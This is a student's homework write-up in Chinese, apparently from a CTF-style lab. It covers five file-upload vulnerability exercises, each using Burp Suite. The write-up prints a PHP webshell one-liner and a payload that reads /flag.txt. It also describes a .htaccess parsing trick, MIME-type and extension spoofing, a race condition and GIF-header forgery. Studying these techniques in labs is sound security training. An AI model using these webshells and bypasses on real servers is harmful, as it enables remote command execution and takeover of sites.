作业1:
类型绕过
打开Terminal
#创建webshell
echo '<?php system($_GET['test']);?>' > test.php
访问首页抓包

删掉响应包的javascript脚本代码,然后Forward,回到首页抓包上传test.php文件

修改Content-Type: application/octet-stream,改为Content-Type: image/gif

输入id测试,成功输出命令值,成功getshell

作业2:
黑名单绕过
依旧作业一操作创建webshell文件,直接上传.php文件上传失败了,换.phtml成功

作业3:
内容校验
#创建Apache配置文件.htaccess
echo 'AddType application/x-httpd-php' > .htaccess
上传的时候改下文件MIME类型,必须是image/jpeg才允许上传
然后将上传请求包发送到Repeater模块做备份,写代码拿flag
写入test.jpg文件,MIME类型依旧image/jpeg
<script language='php'>echo file_get_contents('/flag.txt')</script>

作业完成

作业4:
条件竞争
#可getshell
依旧Terminal操作,这次写入phpinfo
上传代码文件<?php phpinfo();?>
发送爆破模块
访问文件名,路径为upload/test.php
发送爆破模块
两个同时爆破,运气好刚开始就可以结束了

作业5:
文件上传与文件包含
依旧Terminal操作
首页访问一片空白,burpsuite抓包拦截响应包内容,将前端注释符号删掉

上传文件抓包,修改
文件后缀为.gif文件
MIME类型image/gif
文件头GIF89a

访问index.php文件
GET传参?hello=uploads/test.gif

完成作业
个人评价
唠嗑
相比SQL注入漏洞,本次作业的文件上传漏洞相对简单,SQL注入漏洞涉及数据库知识,而文件上传漏洞涉及的知识不多,HTTP/S协议、一点点PHP一句话木马、JavaScript拓展PHP代码、文件包含漏洞知识、文件解析后缀拓展、Apache配置文件解析绕过。